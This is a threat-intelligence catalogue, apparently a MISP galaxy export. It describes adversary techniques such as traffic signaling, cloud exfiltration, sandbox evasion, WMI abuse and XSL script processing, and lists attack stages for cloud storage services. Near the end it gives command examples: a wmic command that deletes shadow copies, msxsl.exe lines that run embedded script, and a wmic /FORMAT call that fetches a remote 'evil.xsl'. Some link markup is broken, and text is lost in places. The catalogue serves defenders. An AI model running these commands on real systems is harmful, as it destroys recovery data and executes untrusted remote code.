Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://app.tidalcyber.com/technique/34a112db-c61d-4ea2-872f-de3fc1af87a3)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r ^{[[Hartrell cd00r 2002](https://app.tidalcyber.com/references/739e6517-10f5-484d-8000-8818d63e7341)]}, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://app.tidalcyber.com/technique/195aa08b-15fd-4019-b905-8f31bc5e2094) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]}^{[[Mandiant - Synful Knock](https://app.tidalcyber.com/references/1f6eaa98-9184-4341-8634-5512a9c632dd)]}^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]} To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://app.tidalcyber.com/technique/630a17c1-0176-4764-8f5c-a83f4f3e980f) due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN

is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.^{[[Bleeping Computer - Ryuk WoL](https://app.tidalcyber.com/references/f6670b73-4d57-4aad-8264-1d42d585e280)]}^{[[AMD Magic Packet](https://app.tidalcyber.com/references/06d36dea-e13d-48c4-b6d6-0c175c379f5b)]}

The tag is: *misp-galaxy:technique="Traffic Signaling"*

Transfer Data to Cloud Account

Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.^{[[TLDRSec AWS Attacks](https://app.tidalcyber.com/references/b8de9dd2-3c57-5417-a24f-0260dff6afc6)]}

Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.^{[[Microsoft Azure Storage Shared Access Signature](https://app.tidalcyber.com/references/9031357f-04ac-5c07-a59d-97b9e32edf79)]}

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.^{[[DOJ GRU Indictment Jul 2018](https://app.tidalcyber.com/references/d65f371b-19d0-49de-b92b-94a2bea1d988)]}

The tag is: *misp-galaxy:technique="Transfer Data to Cloud Account"*

Trusted Developer Utilities Proxy Execution

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.^{[[engima0x3 DNX Bypass](https://app.tidalcyber.com/references/e0186f1d-100d-4e52-b6f7-0a7e1c1a35f0)]}^{[[engima0x3 RCSI Bypass](https://app.tidalcyber.com/references/0b815bd9-6c7f-4bd8-9031-667fa6252f89)]}^{[[Exploit Monday WinDbg](https://app.tidalcyber.com/references/abd5f871-e12e-4355-af72-d4be79cb0291)]}^{[[LOLBAS Tracker](https://app.tidalcyber.com/references/f0e368f1-3347-41ef-91fb-995c3cb07707)]} These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.<sup>[[Microsoft Smart App

Control](https://app.tidalcyber.com/references/7a6ca2e0-a16d-5c75-bb8b-4b72a838c193)]</sup> However, adversaries may leverage "reputation hijacking" to abuse an operating system's trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://app.tidalcyber.com/technique/8811114c-a0cf-479c-b95d-c036467749e3) to run their malicious code, adversaries may bypass Smart App Control protections.^{[[Elastic Security Labs](https://app.tidalcyber.com/references/85bae892-d121-5db7-90e6-533868266ebb)]}

The tag is: *misp-galaxy:technique="Trusted Developer Utilities Proxy Execution"*

Trusted Relationship

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) used by the other party for access to internal network systems may be compromised and used.^{[[CISA IT Service Providers](https://app.tidalcyber.com/references/b8bee7f9-155e-4765-9492-01182e4435b7)]}

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.^{[[Office 365 Delegated Administration](https://app.tidalcyber.com/references/fa0ed0fd-bf57-4a0f-9370-e22f27b20e42)]}

The tag is: *misp-galaxy:technique="Trusted Relationship"*

Unsecured Credentials

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://app.tidalcyber.com/technique/065d1cca-8ca5-4f8b-a333-2340706f589e)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://app.tidalcyber.com/technique/cdac2469-52ca-42a8-aefe-0321a7e3d658)), or other specialized files/artifacts (e.g. [Private Keys]([Brining MimiKatz to Unix(https://app.tidalcyber.com/references/5ad06565-6694-4c42-81c9-880d66f6d07f)]</sup>

The tag is: *misp-galaxy:technique="Unsecured Credentials"*

Unused/Unsupported Cloud Regions

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://app.tidalcyber.com/technique/d10c4a15-aeaa-4630-a7a3-3373c89a584f), which can cost organizations substantial amounts of money over time depending on the processing power used.^{[[CloudSploit - Unused AWS Regions](https://app.tidalcyber.com/references/7c237b73-233f-4fe3-b4a6-ce523fd82853)]}

The tag is: *misp-galaxy:technique="Unused/Unsupported Cloud Regions"*

Use Alternate Authentication Material

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.^{[[NIST Authentication](https://app.tidalcyber.com/references/f3cfb9b9-62f4-4066-a2b9-7e6f25bd7a46)]}^{[[NIST MFA](https://app.tidalcyber.com/references/2f069bb2-3f59-409e-a337-7c69411c8b01)]}

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://app.tidalcyber.com/tactics/0c3132d5-c0df-4793-b5f2-1a95bd64ab53) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

The tag is: *misp-galaxy:technique="Use Alternate Authentication Material"*

User Execution

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533).

While [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://app.tidalcyber.com/technique/4f4ea659-7653-4bfd-a525-b2af32c5899b).

Adversaries may also deceive users into performing actions such as:

- Enabling [Remote Access Tools](https://app.tidalcyber.com/technique/acf828f4-7e7e-43e1-bf15-ceab42021430), allowing direct control of the system to the adversary
- Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie]([Talos Roblox Scam 2023(https://app.tidalcyber.com/references/9371ee4a-ac23-5acb-af3f-132ef3645392)]</sup>^{[[Krebs Discord Bookmarks 2023](https://app.tidalcyber.com/references/1d0a21f4-9a8e-5514-894a-3d55263ff973)]}
- Downloading and executing malware for [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872)
- Coerceing users to copy, paste, and execute malicious code manually^{[[Reliaquest-execution](https://app.tidalcyber.com/references/c6febbb5-b994-5996-a42d-56d4cb151e83)]}^{[[proofpoint-selfpwn](https://app.tidalcyber.com/references/8f00ffc0-7094-5fd9-8ed4-9c129fd93c05)]}

For example, tech support scams can be facilitated through [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools]([Telephone Attack Delivery (https://app.tidalcyber.com/references/9670da7b-0600-4072-9ecc-65a918b89ac5)]</sup>

The tag is: *misp-galaxy:technique="User Execution"*

Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.^{[[volexity_0day_sophos_FW](https://app.tidalcyber.com/references/85bee18e-216d-4ea6-b34e-b071e3f63382)]} Compromised credentials may also grant an adversary increased

privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.^{[[CISA MFA PrintNightmare](https://app.tidalcyber.com/references/fa03324e-c79c-422e-80f1-c270fd87d4e2)]}

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.^{[[TechNet Credential Theft](https://app.tidalcyber.com/references/5c183c97-0ab2-4b75-8dbc-9db92a929ff4)]}

The tag is: *misp-galaxy:technique="Valid Accounts"*

Video Capture

An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://app.tidalcyber.com/technique/4462ce9d-0a5a-427d-8160-7b307b50cfbd) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. ^{[[objective-see 2017 review](https://app.tidalcyber.com/references/26b757c8-25cd-42ef-bef2-eb7a28455d57)]}

The tag is: *misp-galaxy:technique="Video Capture"*

Virtualization/Sandbox Evasion

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) during automated discovery to shape follow-on behaviors.<sup>[[Deloitte Environment

Awareness](https://app.tidalcyber.com/references/af842a1f-8f39-4b4f-b4d2-0bbb810e6c31)]</sup>

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.^{[[Unit 42 Pirpi July 2015](https://app.tidalcyber.com/references/42d35b93-2866-46d8-b8ff-675df05db9db)]}

The tag is: *misp-galaxy:technique="Virtualization/Sandbox Evasion"*

Virtual Machine Discovery

An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://app.tidalcyber.com/technique/fced9cbe-2f9e-59f0-9c43-1895f935861b) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}^{[[TrendMicro Play](https://app.tidalcyber.com/references/1073def1-b5d1-57b2-8ddf-9e50291ef144)]} Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host.

Adversaries may use the information from [Virtual Machine Discovery](https://app.tidalcyber.com/technique/ff6401f2-5308-59b4-a695-86b7120d4004) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://app.tidalcyber.com/technique/e27c5756-f43e-424f-af62-b21e8b304e5d) or [Data Encrypted for Impact]([Crowdstrike Hypervisor Jackpotting Pt 2 2021(https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]</sup>

The tag is: *misp-galaxy:technique="Virtual Machine Discovery"*

Weaken Encryption

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. ^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]}

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://app.tidalcyber.com/technique/f435a5ff-78d2-44de-b464-2b5528f94adc), [Reduce Key Space](https://app.tidalcyber.com/

technique/aa6595d5-1b2e-45a8-8caf-b0968aeab2ba), and [Disable Crypto Hardware](https://app.tidalcyber.com/technique/f413afa2-406d-4e8e-a12c-5f1b8ef05d8a), an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. ^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]}

The tag is: *misp-galaxy:technique="Weaken Encryption"*

Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.^{[[Broadcom BirdyClient Microsoft Graph API 2024](https://app.tidalcyber.com/references/a55197e2-3ed7-5b6f-8ab5-06218c2226a4)]} Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:technique="Web Service"*

Wi-Fi Networks

Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) — belonging to a target organization.^{[[DOJ GRU Charges 2018](https://app.tidalcyber.com/references/f97fd2f0-d265-5351-be6e-184611ac0025)]}^{[[Nearest Neighbor Volexity](https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]} Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.

Adversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target's Wi-Fi network.^{[[Nearest Neighbor Volexity](https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]}

Once an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform [Network Sniffing](https://app.tidalcyber.com/technique/bbad213d-477d-43bf-9501-

ad7d74bac323) or [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9) activities for [Credential Access](https://app.tidalcyber.com/tactics/0c3132d5-c0df-4793-b5f2-1a95bd64ab53) or [Discovery](https://app.tidalcyber.com/tactics/ee7e5a85-a940-46e4-b408-12956f3baafa).

The tag is: *misp-galaxy:technique="Wi-Fi Networks"*

Windows Management Instrumentation

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.^{[[WMI 1-3](https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]} WMI is an administration feature that provides a uniform environment to access Windows system components.

The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) such as [Distributed Component Object Model](https://app.tidalcyber.com/technique/ebc5fabb-5634-49f2-8979-94ea98da114a) and [Windows Remote Management]([WMI 1-3(https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]</sup> Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.^{[[WMI 1-3](https://app.tidalcyber.com/references/fe0a3b0c-8526-5a0d-acb8-660bbc0c9328)]} ^{[[Mandiant WMI](https://app.tidalcyber.com/references/8d237948-7b10-5055-b9e6-52e6cab16f32)]}

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://app.tidalcyber.com/tactics/ee7e5a85-a940-46e4-b408-12956f3baafa) as well as [Execution](https://app.tidalcyber.com/tactics/dad2337d-6d35-410a-acc5-da36ff83ee44) of commands and payloads.^{[[Mandiant WMI](https://app.tidalcyber.com/references/8d237948-7b10-5055-b9e6-52e6cab16f32)]} For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery]([WMI 6(https://app.tidalcyber.com/references/df07a086-0d38-570b-b0c5-9f5061212db7)]</sup>

Note: `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) as the primary WMI interface.^{[[WMI 7,8](https://app.tidalcyber.com/references/819cecb2-5bd3-5c20-bbda-372516b00d6e)]} In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.^{[[WMI 7,8](https://app.tidalcyber.com/references/819cecb2-5bd3-5c20-bbda-372516b00d6e)]}

The tag is: *misp-galaxy:technique="Windows Management Instrumentation"*

XSL Script Processing

Adversaries may bypass application control and obscure execution of code by embedding scripts

inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. ^{[[Microsoft XSLT Script Mar 2017](https://app.tidalcyber.com/references/7ff47640-2a98-4a55-939a-ab6c8c8d2d09)]}

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://app.tidalcyber.com/technique/8811114c-a0cf-479c-b95d-c036467749e3), the Microsoft common line transformation utility binary (msxsl.exe) ^{[[Microsoft msxsl.exe](https://app.tidalcyber.com/references/a25d664c-d109-466f-9b6a-7e9ea8c57895)]} can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. ^{[[Penetration Testing Lab MSXSL July 2017](https://app.tidalcyber.com/references/2f1adf20-a4b8-48c1-861f-0a44271765d7)]} Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. ^{[[Reaqta MSXSL Spearphishing MAR 2018](https://app.tidalcyber.com/references/927737c9-63a3-49a6-85dc-620e055aaf0a)]} Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

Command-line examples:^{[[Penetration Testing Lab MSXSL July 2017](https://app.tidalcyber.com/references/2f1adf20-a4b8-48c1-861f-0a44271765d7)]}^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

- <code>msxsl.exe customers[.]xml script[.]xsl</code>
- <code>msxsl.exe script[.]xsl script[.]xsl</code>
- <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) to invoke JScript or VBScript within an XSL file.^{[[LOLBAS Wmic](https://app.tidalcyber.com/references/497e73d4-9f27-4b30-ba09-f152ce866d0f)]} This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://app.tidalcyber.com/technique/b1da2b02-9ade-45e0-a795-ec1b19e5316a)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) provided they utilize the /FORMAT switch.^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}

Command-line examples:^{[[XSL Bypass Mar 2019](https://app.tidalcyber.com/references/e4e2cf48-47e0-45d8-afc2-a35635f7e880)]}^{[[LOLBAS Wmic](https://app.tidalcyber.com/references/497e73d4-9f27-4b30-ba09-f152ce866d0f)]}

- Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
- Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

The tag is: *misp-galaxy:technique="XSL Script Processing"*

Threat Matrix for storage services

Microsoft Defender for Cloud threat matrix for storage services contains attack tactics, techniques and mitigations relevant storage services delivered by cloud providers..

> Threat Matrix for storage services is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Evgeny Bogokovsky - Microsoft - Ram Pliskin

MS-T801 - Storage account discovery

Attackers may execute active reconnaissance scans to gather storage account names that becomes a potential target. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

The tag is: *misp-galaxy:tmss="MS-T801 - Storage account discovery"*

Table 24246. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/storage-account-discovery

MS-T804 - Search engines

Attackers may use search engines to collect information about victim storage accounts that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords such as storage accounts domain names (site:*.blob.core.windows.net)

The tag is: *misp-galaxy:tmss="MS-T804 - Search engines"*

Table 24247. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/search-engines

MS-T803 - Databases of publicly available storage accounts

Attackers may search public databases for publicly available storage accounts that can be used

during targeting.

The tag is: *misp-galaxy:tmss="MS-T803 - Databases of publicly available storage accounts"*

Table 24248. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/databases-of-public-accounts

MS-T826 - DNS/Passive DNS

Attackers may search for DNS data for valid storage account names that can become potential targets. Threat actors can query nameservers using brute-force technique to enumerate existing storage accounts in the wild, or search through centralized repositories of logged DNS query responses (known as passive DNS).

The tag is: *misp-galaxy:tmss="MS-T826 - DNS/Passive DNS"*

Table 24249. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/dns-passive-dns

MS-T805 - Victim-owned websites

Attackers may look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages may be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

The tag is: *misp-galaxy:tmss="MS-T805 - Victim-owned websites"*

Table 24250. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/victim-owned-websites

MS-T814 - Valid SAS token

A shared access signature (SAS) is a token, that is appended to the a uniform resource identifier (URI) for a storage resource, that grants restricted access rights over the associated resource in your storage account. Attackers may get a SAS token using one of the Credential Access techniques or during the reconnaissance process through social engineering.

The tag is: *misp-galaxy:tmss="MS-T814 - Valid SAS token"*

Table 24251. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/valid-sas-token

MS-T815 - Valid shared key

Attackers may get a shared key using one of Credential Access techniques or capture one earlier in their reconnaissance process through social engineering to gain initial access. Adversaries may leverage keys left in source code or configuration files. Sophisticated attackers may also obtain keys from hosts (virtual machines) that have mounted File Share on their system (SMB). Shared key provides unrestricted permissions over all data plane operations.

The tag is: *misp-galaxy:tmss="MS-T815 - Valid shared key"*

Table 24252. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/valid-shared-key

MS-T816 - Authorized principal account

Attackers may steal account credentials using one of the credential access techniques or capture an account earlier in their reconnaissance process through social engineering to gain initial access. An authorized principal account can result in full control of storage account resources.

The tag is: *misp-galaxy:tmss="MS-T816 - Authorized principal account"*

Table 24253. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/authorized-principal-account

MS-T817 - Anonymous public read access

Attackers may leverage publicly exposed storage accounts to list containers/blobs and their properties. Azure Storage supports optional anonymous public read access for containers and blobs. By default, anonymous access to your data is never permitted. Unless you explicitly enable anonymous access, all requests to a container and its blobs must be authorized. When you configure a container's public access level setting to permit anonymous access, clients can read data in that container without authorizing the request.

The tag is: *misp-galaxy:tmss="MS-T817 - Anonymous public read access"*

Table 24254. Table References

Links

https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/anonymous-public-read-access

MS-T825 - SFTP credentials

Attackers may obtain and abuse credentials of an SFTP account as a means of gaining initial access. SFTP is a prevalent file transfer protocol between a client and a remote service. Once the user connects to the cloud storage service, the user can upload and download blobs and perform other operations that are supported by the protocol. SFTP connection requires SFTP accounts which are managed locally in the storage service instance, including credentials in a form of passwords or key-pairs.

The tag is: *misp-galaxy:tmss="MS-T825 - SFTP credentials"*

Table 24255. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/sftp-credentials

MS-T827 - NFS access

Attackers may perform initial access to a storage account using NFS protocol where enabled. While access is restricted to a list of allowed virtual networks that are configured on the storage account firewall, connection via NFS protocol does not require authentication and can be performed by any source on the specified networks.

The tag is: *misp-galaxy:tmss="MS-T827 - NFS access"*

Table 24256. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/nfs-access

MS-T828 - SMB access

Attackers may perform initial access to a storage account file shares using Server Message Block (SMB) protocol.

The tag is: *misp-galaxy:tmss="MS-T828 - SMB access"*

Table 24257. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/smb-access

MS-T840 - Object replication

Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. This feature can be maliciously misused in both directions. Outbound replication can serve as an exfiltration channel of customer data from the victim's container to an adversary's container. Inbound replication can be used to deliver malware from an adversary's container to a victim's container. After the policy is set, the attacker can operate on their container without accessing the victim container.

The tag is: *misp-galaxy:tmss="MS-T840 - Object replication"*

Table 24258. Table References

Links
https://microsoft.github.io/Threat-matrix-for-storage-services/techniques/object-replication

